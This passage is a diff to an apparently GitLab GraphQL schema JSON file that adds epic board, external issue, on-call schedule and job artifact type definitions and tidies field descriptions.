+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "EpicBoardEdge",
+ "description": "An edge in a connection.",
+ "fields": [
+ {
+ "name": "cursor",
+ "description": "A cursor for use in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "node",
+ "description": "The item at the end of the edge.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "EpicBoard",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
"name": "EpicConnection",
"description": "The connection type for Epic.",
"fields": [
@@ -21236,7 +23086,7 @@
},
{
"name": "blocked",
- "description": "Indicates the issue is blocked",
+ "description": "Indicates the issue is blocked.",
"args": [
],
@@ -21254,7 +23104,7 @@
},
{
"name": "blockedByCount",
- "description": "Count of issues blocking this issue",
+ "description": "Count of issues blocking this issue.",
"args": [
],
@@ -21552,7 +23402,7 @@
},
{
"name": "epic",
- "description": "Epic to which this issue belongs",
+ "description": "Epic to which this issue belongs.",
"args": [
],
@@ -21584,7 +23434,7 @@
},
{
"name": "healthStatus",
- "description": "Current health status. Returns null if `save_issuable_health_status` feature flag is disabled.",
+ "description": "Current health status.",
"args": [
],
@@ -21658,7 +23508,7 @@
},
{
"name": "iteration",
- "description": "Iteration of the issue",
+ "description": "Iteration of the issue.",
"args": [
],
@@ -21724,6 +23574,28 @@
"deprecationReason": null
},
{
+ "name": "metricImages",
+ "description": "Metric images associated to the issue.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "MetricImage",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "milestone",
"description": "Milestone of the issue",
"args": [
@@ -21978,7 +23850,7 @@
},
{
"name": "statusPagePublishedIncident",
- "description": "Indicates whether an issue is published to the status page",
+ "description": "Indicates whether an issue is published to the status page.",
"args": [
],
@@ -22250,7 +24122,7 @@
},
{
"name": "weight",
- "description": "Weight of the issue",
+ "description": "Weight of the issue.",
"args": [
],
@@ -22592,7 +24464,7 @@
"inputFields": [
{
"name": "iid",
- "description": "The iid of the epic to mutate",
+ "description": "The IID of the epic to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -22809,7 +24681,7 @@
"inputFields": [
{
"name": "id",
- "description": "The id of the epic_issue or epic that is being moved",
+ "description": "The ID of the epic_issue or epic that is being moved",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -22823,7 +24695,7 @@
},
{
"name": "adjacentReferenceId",
- "description": "The id of the epic_issue or issue that the actual epic or issue is switched with",
+ "description": "The ID of the epic_issue or issue that the actual epic or issue is switched with",
"type": {
"kind": "SCALAR",
"name": "EpicTreeSortingID",
@@ -22864,7 +24736,7 @@
"inputFields": [
{
"name": "baseEpicId",
- "description": "The id of the base epic of the tree",
+ "description": "The ID of the base epic of the tree",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -22992,6 +24864,117 @@
"possibleTypes": null
},
{
+ "kind": "OBJECT",
+ "name": "ExternalIssue",
+ "description": "Represents an external issue",
+ "fields": [
+ {
+ "name": "createdAt",
+ "description": "Timestamp of when the issue was created",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Time",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "externalTracker",
+ "description": "Type of external tracker",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "relativeReference",
+ "description": "Relative reference of the issue in the external tracker",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "status",
+ "description": "Status of the issue in the external tracker",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "title",
+ "description": "Title of the issue in the external tracker",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "updatedAt",
+ "description": "Timestamp of when the issue was updated",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Time",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "webUrl",
+ "description": "URL to the issue in the external tracker",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "SCALAR",
"name": "Float",
"description": "Represents signed double-precision fractional values as specified by [IEEE 754](https://en.wikipedia.org/wiki/IEEE_floating_point).",
@@ -23369,7 +25352,7 @@
},
{
"name": "snippetRepositoryRegistries",
- "description": "Find snippet repository registries on this Geo node. Available only when feature flag `geo_snippet_repository_replication` is enabled",
+ "description": "Find snippet repository registries on this Geo node",
"args": [
{
"name": "ids",
@@ -23825,7 +25808,7 @@
},
{
"name": "codeCoverageActivities",
- "description": "Represents the code coverage activity for this group. Available only when feature flag `group_coverage_data_report_graph` is enabled",
+ "description": "Represents the code coverage activity for this group",
"args": [
{
"name": "startDate",
@@ -23891,8 +25874,61 @@
"deprecationReason": null
},
{
+ "name": "complianceFrameworks",
+ "description": "Compliance frameworks available to projects in this namespace Available only when feature flag `ff_custom_compliance_frameworks` is enabled.",
+ "args": [
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "ComplianceFrameworkConnection",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "containerRepositories",
- "description": "Container repositories of the project",
+ "description": "Container repositories of the group",
"args": [
{
"name": "name",
@@ -23954,6 +25990,24 @@
"deprecationReason": null
},
{
+ "name": "containerRepositoriesCount",
+ "description": "Number of container repositories in the group",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "containsLockedProjects",
"description": "Includes at least one project where the repository size exceeds the limit",
"args": [
@@ -23973,7 +26027,7 @@
},
{
"name": "customEmoji",
- "description": "Custom emoji within this namespace. Available only when feature flag `custom_emoji` is enabled",
+ "description": "Custom emoji within this namespace Available only when feature flag `custom_emoji` is enabled.",
"args": [
{
"name": "after",
@@ -24072,7 +26126,7 @@
"args": [
{
"name": "startDate",
- "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.start",
+ "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.start.",
"type": {
"kind": "SCALAR",
"name": "Time",
@@ -24082,7 +26136,7 @@
},
{
"name": "endDate",
- "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.end",
+ "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.",
"type": {
"kind": "SCALAR",
"name": "Time",
@@ -24198,7 +26252,7 @@
},
{
"name": "iidStartsWith",
- "description": "Filter epics by iid for autocomplete",
+ "description": "Filter epics by IID for autocomplete",
"type": {
"kind": "SCALAR",
"name": "String",
@@ -24226,12 +26280,92 @@
"deprecationReason": null
},
{
+ "name": "epicBoard",
+ "description": "Find a single epic board",
+ "args": [
+ {
+ "name": "id",
+ "description": "Find an epic board by ID",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "BoardsEpicBoardID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "EpicBoard",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "epicBoards",
+ "description": "Find epic boards",
+ "args": [
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "EpicBoardConnection",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "epics",
"description": "Find epics",
"args": [
{
"name": "startDate",
- "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.start",
+ "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.start.",
"type": {
"kind": "SCALAR",
"name": "Time",
@@ -24241,7 +26375,7 @@
},
{
"name": "endDate",
- "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.end",
+ "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.",
"type": {
"kind": "SCALAR",
"name": "Time",
@@ -24357,7 +26491,7 @@
},
{
"name": "iidStartsWith",
- "description": "Filter epics by iid for autocomplete",
+ "description": "Filter epics by IID for autocomplete",
"type": {
"kind": "SCALAR",
"name": "String",
@@ -24489,6 +26623,24 @@
"defaultValue": null
},
{
+ "name": "relations",
+ "description": "Filter members by the given member relations",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "ENUM",
+ "name": "GroupMemberRelation",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": "[DIRECT, INHERITED]"
+ },
+ {
"name": "after",
"description": "Returns the elements in the list that come after the specified cursor.",
"type": {
@@ -24892,7 +27044,7 @@
"args": [
{
"name": "startDate",
- "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.start",
+ "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.start.",
"type": {
"kind": "SCALAR",
"name": "Time",
@@ -24902,7 +27054,7 @@
},
{
"name": "endDate",
- "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.end",
+ "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.",
"type": {
"kind": "SCALAR",
"name": "Time",
@@ -24922,7 +27074,7 @@
},
{
"name": "state",
- "description": "Filter iterations by state",
+ "description": "Filter iterations by state.",
"type": {
"kind": "ENUM",
"name": "IterationState",
@@ -24932,7 +27084,7 @@
},
{
"name": "title",
- "description": "Fuzzy search by title",
+ "description": "Fuzzy search by title.",
"type": {
"kind": "SCALAR",
"name": "String",
@@ -24942,7 +27094,7 @@
},
{
"name": "id",
- "description": "The ID of the Iteration to look up",
+ "description": "Global ID of the Iteration to look up.",
"type": {
"kind": "SCALAR",
"name": "ID",
@@ -24952,7 +27104,7 @@
},
{
"name": "iid",
- "description": "The internal ID of the Iteration to look up",
+ "description": "Internal ID of the Iteration to look up.",
"type": {
"kind": "SCALAR",
"name": "ID",
@@ -24962,7 +27114,7 @@
},
{
"name": "includeAncestors",
- "description": "Whether to include ancestor iterations. Defaults to true",
+ "description": "Whether to include ancestor iterations. Defaults to true.",
"type": {
"kind": "SCALAR",
"name": "Boolean",
@@ -25348,7 +27500,7 @@
"args": [
{
"name": "startDate",
- "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.start",
+ "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.start.",
"type": {
"kind": "SCALAR",
"name": "Time",
@@ -25358,7 +27510,7 @@
},
{
"name": "endDate",
- "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.end",
+ "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.",
"type": {
"kind": "SCALAR",
"name": "Time",
@@ -26211,7 +28363,7 @@
},
{
"name": "vulnerabilitiesCountByDayAndSeverity",
- "description": "Number of vulnerabilities per severity level, per day, for the projects in the group and its subgroups. Deprecated in 13.3: Use `vulnerabilitiesCountByDay`",
+ "description": "Number of vulnerabilities per severity level, per day, for the projects in the group and its subgroups Deprecated in 13.3: Use `vulnerabilitiesCountByDay`.",
"args": [
{
"name": "startDate",
@@ -26288,7 +28440,7 @@
"ofType": null
},
"isDeprecated": true,
- "deprecationReason": "Use `vulnerabilitiesCountByDay`. Deprecated in 13.3"
+ "deprecationReason": "Use `vulnerabilitiesCountByDay`. Deprecated in 13.3."
},
{
"name": "vulnerabilityGrades",
@@ -26508,118 +28660,6 @@
"possibleTypes": null
},
{
- "kind": "OBJECT",
- "name": "GroupConnection",
- "description": "The connection type for Group.",
- "fields": [
- {
- "name": "edges",
- "description": "A list of edges.",
- "args": [
-
- ],
- "type": {
- "kind": "LIST",
- "name": null,
- "ofType": {
- "kind": "OBJECT",
- "name": "GroupEdge",
- "ofType": null
- }
- },
- "isDeprecated": false,
- "deprecationReason": null
- },
- {
- "name": "nodes",
- "description": "A list of nodes.",
- "args": [
-
- ],
- "type": {
- "kind": "LIST",
- "name": null,
- "ofType": {
- "kind": "OBJECT",
- "name": "Group",
- "ofType": null
- }
- },
- "isDeprecated": false,
- "deprecationReason": null
- },
- {
- "name": "pageInfo",
- "description": "Information to aid in pagination.",
- "args": [
-
- ],
- "type": {
- "kind": "NON_NULL",
- "name": null,
- "ofType": {
- "kind": "OBJECT",
- "name": "PageInfo",
- "ofType": null
- }
- },
- "isDeprecated": false,
- "deprecationReason": null
- }
- ],
- "inputFields": null,
- "interfaces": [
-
- ],
- "enumValues": null,
- "possibleTypes": null
- },
- {
- "kind": "OBJECT",
- "name": "GroupEdge",
- "description": "An edge in a connection.",
- "fields": [
- {
- "name": "cursor",
- "description": "A cursor for use in pagination.",
- "args": [
-
- ],
- "type": {
- "kind": "NON_NULL",
- "name": null,
- "ofType": {
- "kind": "SCALAR",
- "name": "String",
- "ofType": null
- }
- },
- "isDeprecated": false,
- "deprecationReason": null
- },
- {
- "name": "node",
- "description": "The item at the end of the edge.",
- "args": [
-
- ],
- "type": {
- "kind": "OBJECT",
- "name": "Group",
- "ofType": null
- },
- "isDeprecated": false,
- "deprecationReason": null
- }
- ],
- "inputFields": null,
- "interfaces": [
-
- ],
- "enumValues": null,
- "possibleTypes": null
- },
- {
"kind": "SCALAR",
"name": "GroupID",
"description": "Identifier of Group",
@@ -26897,6 +28937,35 @@
"possibleTypes": null
},
{
+ "kind": "ENUM",
+ "name": "GroupMemberRelation",
+ "description": "Group member relation",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": [
+ {
+ "name": "DIRECT",
+ "description": "Direct members",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "INHERITED",
+ "description": "Inherited members",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "DESCENDANTS",
+ "description": "Descendants members",
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "possibleTypes": null
+ },
+ {
"kind": "OBJECT",
"name": "GroupPermissions",
"description": null,
@@ -27162,7 +29231,7 @@
"inputFields": [
{
"name": "id",
- "description": "The id of the integration to remove",
+ "description": "The ID of the integration to remove",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -27264,7 +29333,7 @@
"inputFields": [
{
"name": "id",
- "description": "The id of the integration to mutate",
+ "description": "The ID of the integration to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -27366,7 +29435,7 @@
"inputFields": [
{
"name": "id",
- "description": "The id of the integration to mutate",
+ "description": "The ID of the integration to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -27502,6 +29571,199 @@
},
{
"kind": "OBJECT",
+ "name": "IncidentManagementOncallSchedule",
+ "description": "Describes an incident management on-call schedule",
+ "fields": [
+ {
+ "name": "description",
+ "description": "Description of the on-call schedule",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "iid",
+ "description": "Internal ID of the on-call schedule",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "name",
+ "description": "Name of the on-call schedule",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "timezone",
+ "description": "Time zone of the on-call schedule",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "IncidentManagementOncallScheduleConnection",
+ "description": "The connection type for IncidentManagementOncallSchedule.",
+ "fields": [
+ {
+ "name": "edges",
+ "description": "A list of edges.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "IncidentManagementOncallScheduleEdge",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "nodes",
+ "description": "A list of nodes.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "IncidentManagementOncallSchedule",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "pageInfo",
+ "description": "Information to aid in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "PageInfo",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "IncidentManagementOncallScheduleEdge",
+ "description": "An edge in a connection.",
+ "fields": [
+ {
+ "name": "cursor",
+ "description": "A cursor for use in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "node",
+ "description": "The item at the end of the edge.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "IncidentManagementOncallSchedule",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
"name": "InstanceSecurityDashboard",
"description": null,
"fields": [
@@ -28105,7 +30367,7 @@
},
{
"name": "blocked",
- "description": "Indicates the issue is blocked",
+ "description": "Indicates the issue is blocked.",
"args": [
],
@@ -28123,7 +30385,7 @@
},
{
"name": "blockedByCount",
- "description": "Count of issues blocking this issue",
+ "description": "Count of issues blocking this issue.",
"args": [
],
@@ -28421,7 +30683,7 @@
},
{
"name": "epic",
- "description": "Epic to which this issue belongs",
+ "description": "Epic to which this issue belongs.",
"args": [
],
@@ -28435,7 +30697,7 @@
},
{
"name": "healthStatus",
- "description": "Current health status. Returns null if `save_issuable_health_status` feature flag is disabled.",
+ "description": "Current health status.",
"args": [
],
@@ -28513,7 +30775,7 @@
},
{
"name": "iteration",
- "description": "Iteration of the issue",
+ "description": "Iteration of the issue.",
"args": [
],
@@ -28579,6 +30841,28 @@
"deprecationReason": null
},
{
+ "name": "metricImages",
+ "description": "Metric images associated to the issue.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "MetricImage",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "milestone",
"description": "Milestone of the issue",
"args": [
@@ -28819,7 +31103,7 @@
},
{
"name": "statusPagePublishedIncident",
- "description": "Indicates whether an issue is published to the status page",
+ "description": "Indicates whether an issue is published to the status page.",
"args": [
],
@@ -29091,7 +31375,7 @@
},
{
"name": "weight",
- "description": "Weight of the issue",
+ "description": "Weight of the issue.",
"args": [
],
@@ -30937,25 +33221,25 @@
"name": "updated_desc",
"description": "Updated at descending order",
"isDeprecated": true,
- "deprecationReason": "Use UPDATED_DESC. Deprecated in 13.5"
+ "deprecationReason": "Use UPDATED_DESC. Deprecated in 13.5."
},
{
"name": "updated_asc",
"description": "Updated at ascending order",
"isDeprecated": true,
- "deprecationReason": "Use UPDATED_ASC. Deprecated in 13.5"
+ "deprecationReason": "Use UPDATED_ASC. Deprecated in 13.5."
},
{
"name": "created_desc",
"description": "Created at descending order",
"isDeprecated": true,
- "deprecationReason": "Use CREATED_DESC. Deprecated in 13.5"
+ "deprecationReason": "Use CREATED_DESC. Deprecated in 13.5."
},
{
"name": "created_asc",
"description": "Created at ascending order",
"isDeprecated": true,
- "deprecationReason": "Use CREATED_ASC. Deprecated in 13.5"
+ "deprecationReason": "Use CREATED_ASC. Deprecated in 13.5."
},
{
"name": "UPDATED_DESC",
@@ -31669,6 +33953,12 @@
"description": "An iteration is assigned",
"isDeprecated": false,
"deprecationReason": null
+ },
+ {
+ "name": "CURRENT",
+ "description": "Current iteration",
+ "isDeprecated": false,
+ "deprecationReason": null
}
],
"possibleTypes": null
@@ -32582,7 +34872,7 @@
"inputFields": [
{
"name": "jiraAccountId",
- "description": "Jira account id of the user",
+ "description": "Jira account ID of the user",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -32610,6 +34900,179 @@
"possibleTypes": null
},
{
+ "kind": "ENUM",
+ "name": "JobArtifactFileType",
+ "description": null,
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": [
+ {
+ "name": "ARCHIVE",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "METADATA",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "TRACE",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "JUNIT",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "METRICS",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "METRICS_REFEREE",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "NETWORK_REFEREE",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "DOTENV",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "COBERTURA",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "CLUSTER_APPLICATIONS",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "LSIF",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "SAST",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "SECRET_DETECTION",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "DEPENDENCY_SCANNING",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "CONTAINER_SCANNING",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "DAST",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "LICENSE_MANAGEMENT",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "LICENSE_SCANNING",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "ACCESSIBILITY",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "CODEQUALITY",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "PERFORMANCE",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "BROWSER_PERFORMANCE",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "LOAD_PERFORMANCE",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "TERRAFORM",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "REQUIREMENTS",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "COVERAGE_FUZZING",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "API_FUZZING",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "possibleTypes": null
+ },
+ {
"kind": "OBJECT",
"name": "Label",
"description": null,
@@ -33051,7 +35514,7 @@
"inputFields": [
{
"name": "id",
- "description": "The global id of the snippet to update",
+ "description": "The global ID of the snippet to update",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -33660,6 +36123,28 @@
"deprecationReason": null
},
{
+ "name": "availableAutoMergeStrategies",
+ "description": "Array of available auto merge strategies",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "commitCount",
"description": "Number of commits in the merge request",
"args": [
@@ -33674,6 +36159,59 @@
"deprecationReason": null
},
{
+ "name": "commitsWithoutMergeCommits",
+ "description": "Merge request commits excluding merge commits",
+ "args": [
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
